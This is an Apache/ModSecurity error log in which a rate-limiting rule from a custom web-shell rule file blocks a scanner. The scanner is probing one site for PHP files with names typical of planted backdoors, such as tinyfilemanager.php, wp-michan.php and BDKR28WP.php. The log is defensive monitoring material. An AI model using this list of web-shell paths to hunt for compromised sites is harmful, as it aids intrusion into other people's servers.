[Sun Apr 12 16:46:32.829272 2026] [:error] [pid 26600:tid 26646] [client 68.221.68.72:65216] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adtb6O1YwAZiXhQKLYoQEgAAAZE"]
[Sun Apr 12 16:46:33.868527 2026] [:error] [pid 25327:tid 25341] [client 68.221.68.72:64715] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adtb6S6h2tZEVJo9JFK4gQAAAAU"]
[Sun Apr 12 16:46:34.502786 2026] [:error] [pid 26567:tid 26589] [client 68.221.68.72:62863] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "adtb6nhRpg6ptWFyFx2JPwAAARQ"]
[Sun Apr 12 16:46:35.077933 2026] [:error] [pid 25327:tid 25336] [client 68.221.68.72:62886] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adtb6y6h2tZEVJo9JFK4gwAAAAA"]
[Sun Apr 12 16:46:35.852164 2026] [:error] [pid 60280:tid 60295] [client 68.221.68.72:63952] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adtb63BlLnDOYuIykkgmxQAAAc0"]
[Sun Apr 12 16:46:36.425474 2026] [:error] [pid 26600:tid 26632] [client 68.221.68.72:65330] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adtb7O1YwAZiXhQKLYoQGAAAAYM"]
[Sun Apr 12 16:46:37.189900 2026] [:error] [pid 25327:tid 25346] [client 68.221.68.72:63433] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "adtb7S6h2tZEVJo9JFK4hwAAAAo"]
[Sun Apr 12 16:46:38.018843 2026] [:error] [pid 25327:tid 25353] [client 68.221.68.72:65230] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adtb7i6h2tZEVJo9JFK4iQAAABE"]
[Sun Apr 12 16:46:38.585216 2026] [:error] [pid 26600:tid 26646] [client 68.221.68.72:63504] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adtb7u1YwAZiXhQKLYoQGgAAAZE"]
[Sun Apr 12 16:46:39.407280 2026] [:error] [pid 60280:tid 60285] [client 68.221.68.72:63943] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adtb73BlLnDOYuIykkgmygAAAcM"]
[Sun Apr 12 16:46:40.071246 2026] [:error] [pid 25437:tid 25451] [client 68.221.68.72:63493] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adtb8Hf97wYZje1ep_MPrwAAAMw"]
[Sun Apr 12 16:46:40.600723 2026] [:error] [pid 25328:tid 25375] [client 68.221.68.72:63936] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adtb8MxUaQZxT-e0YsDiFgAAAEk"]
[Sun Apr 12 16:46:41.357086 2026] [:error] [pid 25328:tid 25373] [client 68.221.68.72:63433] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adtb8cxUaQZxT-e0YsDiHAAAAEg"]
[Sun Apr 12 16:46:42.114780 2026] [:error] [pid 60280:tid 60294] [client 68.221.68.72:64721] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adtb8nBlLnDOYuIykkgm0wAAAcw"]
[Sun Apr 12 16:46:43.143599 2026] [:error] [pid 26599:tid 26604] [client 68.221.68.72:64764] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adtb83G89LXoQbk_rwC0twAAAUI"]
[Sun Apr 12 16:46:44.812044 2026] [:error] [pid 25329:tid 25395] [client 68.221.68.72:64013] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adtb9GdcIYsS8Iyaj12XEgAAAIs"]
[Sun Apr 12 16:46:57.576714 2026] [:error] [pid 26599:tid 26611] [client 68.221.68.72:64060] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adtcAXG89LXoQbk_rwC01QAAAUk"]
[Sun Apr 12 16:46:58.795307 2026] [:error] [pid 25328:tid 25383] [client 68.221.68.72:64051] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adtcAsxUaQZxT-e0YsDiKQAAAE0"]
[Sun Apr 12 16:46:59.584494 2026] [:error] [pid 26600:tid 26652] [client 68.221.68.72:65284] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adtcA-1YwAZiXhQKLYoQJQAAAZc"]
[Sun Apr 12 16:47:00.166511 2026] [:error] [pid 26567:tid 26587] [client 68.221.68.72:64018] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "adtcBHhRpg6ptWFyFx2JUwAAARI"]
[Sun Apr 12 16:47:00.795463 2026] [:error] [pid 25328:tid 25394] [client 68.221.68.72:64738] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcBMxUaQZxT-e0YsDiLwAAAFI"]
[Sun Apr 12 16:47:01.449408 2026] [:error] [pid 26600:tid 26649] [client 68.221.68.72:64063] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcBe1YwAZiXhQKLYoQKAAAAZQ"]
[Sun Apr 12 16:47:02.436836 2026] [:error] [pid 26599:tid 26616] [client 68.221.68.72:62814] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcBnG89LXoQbk_rwC02AAAAU4"]
[Sun Apr 12 16:47:03.232980 2026] [:error] [pid 25327:tid 25342] [client 68.221.68.72:64751] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "adtcBy6h2tZEVJo9JFK4lAAAAAY"]
[Sun Apr 12 16:47:03.773218 2026] [:error] [pid 25437:tid 25454] [client 68.221.68.72:63969] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adtcB3f97wYZje1ep_MPwwAAAM8"]
[Sun Apr 12 16:47:04.291291 2026] [:error] [pid 26600:tid 26653] [client 68.221.68.72:64817] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adtcCO1YwAZiXhQKLYoQLQAAAZg"]
[Sun Apr 12 16:47:04.802276 2026] [:error] [pid 26600:tid 26645] [client 68.221.68.72:63519] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adtcCO1YwAZiXhQKLYoQMAAAAZA"]
[Sun Apr 12 16:47:05.304399 2026] [:error] [pid 25329:tid 25397] [client 68.221.68.72:63968] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "adtcCWdcIYsS8Iyaj12XJQAAAIw"]
[Sun Apr 12 16:47:05.842928 2026] [:error] [pid 25329:tid 25415] [client 68.221.68.72:63425] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adtcCWdcIYsS8Iyaj12XJgAAAJg"]
[Sun Apr 12 16:47:06.526023 2026] [:error] [pid 26600:tid 26636] [client 68.221.68.72:63461] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adtcCu1YwAZiXhQKLYoQNAAAAYc"]
[Sun Apr 12 16:47:07.072854 2026] [:error] [pid 25328:tid 25408] [client 68.221.68.72:64798] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adtcC8xUaQZxT-e0YsDiPwAAAFg"]
[Sun Apr 12 16:47:07.927799 2026] [:error] [pid 26600:tid 26648] [client 68.221.68.72:63955] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adtcC-1YwAZiXhQKLYoQNwAAAZM"]
[Sun Apr 12 16:47:08.673288 2026] [:error] [pid 26600:tid 26650] [client 68.221.68.72:64831] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adtcDO1YwAZiXhQKLYoQOAAAAZU"]
[Sun Apr 12 16:47:09.169339 2026] [:error] [pid 25329:tid 25406] [client 68.221.68.72:63960] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adtcDWdcIYsS8Iyaj12XKwAAAJE"]
[Sun Apr 12 16:47:09.712015 2026] [:error] [pid 26567:tid 26576] [client 68.221.68.72:65272] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adtcDXhRpg6ptWFyFx2JjQAAAQc"]
[Sun Apr 12 16:47:10.232466 2026] [:error] [pid 60280:tid 60285] [client 68.221.68.72:63948] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adtcDnBlLnDOYuIykkgm_wAAAcM"]
[Sun Apr 12 16:47:10.805758 2026] [:error] [pid 25329:tid 25384] [client 68.221.68.72:63995] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adtcDmdcIYsS8Iyaj12XLgAAAIU"]
[Sun Apr 12 16:47:11.429867 2026] [:error] [pid 26600:tid 26635] [client 68.221.68.72:64815] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adtcD-1YwAZiXhQKLYoQPQAAAYY"]
[Sun Apr 12 16:47:11.909065 2026] [:error] [pid 26600:tid 26631] [client 68.221.68.72:63973] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adtcD-1YwAZiXhQKLYoQPgAAAYI"]
[Sun Apr 12 16:47:12.415832 2026] [:error] [pid 25327:tid 25348] [client 68.221.68.72:64759] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-michan.php"] [unique_id "adtcEC6h2tZEVJo9JFK4mAAAAAw"]
[Sun Apr 12 16:47:13.003321 2026] [:error] [pid 60280:tid 60289] [client 68.221.68.72:64782] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adtcEXBlLnDOYuIykkgnBQAAAcc"]
[Sun Apr 12 16:47:13.500016 2026] [:error] [pid 25437:tid 25439] [client 68.221.68.72:65274] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adtcEXf97wYZje1ep_MP0QAAAMA"]
[Sun Apr 12 16:47:14.029851 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:63495] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adtcEnBlLnDOYuIykkgnCAAAAcA"]
[Sun Apr 12 16:47:14.620932 2026] [:error] [pid 25328:tid 25379] [client 68.221.68.72:62785] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "adtcEsxUaQZxT-e0YsDiuQAAAEs"]
[Sun Apr 12 16:47:15.151661 2026] [:error] [pid 60280:tid 60284] [client 68.221.68.72:65307] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adtcE3BlLnDOYuIykkgnCQAAAcI"]
[Sun Apr 12 16:47:15.847267 2026] [:error] [pid 25329:tid 25382] [client 68.221.68.72:64747] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adtcE2dcIYsS8Iyaj12XMAAAAIQ"]
[Sun Apr 12 16:47:16.483214 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:65288] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adtcFHBlLnDOYuIykkgnDQAAAc4"]
[Sun Apr 12 16:47:17.333335 2026] [:error] [pid 25328:tid 25367] [client 68.221.68.72:63458] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "adtcFcxUaQZxT-e0YsDiwAAAAEM"]
[Sun Apr 12 16:47:18.036610 2026] [:error] [pid 25437:tid 25463] [client 68.221.68.72:61638] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adtcFnf97wYZje1ep_MP2gAAANg"]
[Sun Apr 12 16:47:18.769060 2026] [:error] [pid 25328:tid 25365] [client 68.221.68.72:63949] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adtcFsxUaQZxT-e0YsDiyAAAAEE"]
[Sun Apr 12 16:47:19.403378 2026] [:error] [pid 25328:tid 25370] [client 68.221.68.72:64719] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adtcF8xUaQZxT-e0YsDiygAAAEY"]
[Sun Apr 12 16:47:19.968960 2026] [:error] [pid 25328:tid 25372] [client 68.221.68.72:64041] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BDKR28WP.php"] [unique_id "adtcF8xUaQZxT-e0YsDi0AAAAEc"]
[Sun Apr 12 16:47:20.691158 2026] [:error] [pid 25327:tid 25359] [client 68.221.68.72:63991] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adtcGC6h2tZEVJo9JFK4ngAAABc"]
[Sun Apr 12 16:47:21.501686 2026] [:error] [pid 25327:tid 25346] [client 68.221.68.72:63938] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "adtcGS6h2tZEVJo9JFK4nwAAAAo"]
[Sun Apr 12 16:47:22.018262 2026] [:error] [pid 25328:tid 25373] [client 54.36.179.84:49752] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adtcGsxUaQZxT-e0YsDi0gAAAEg"]
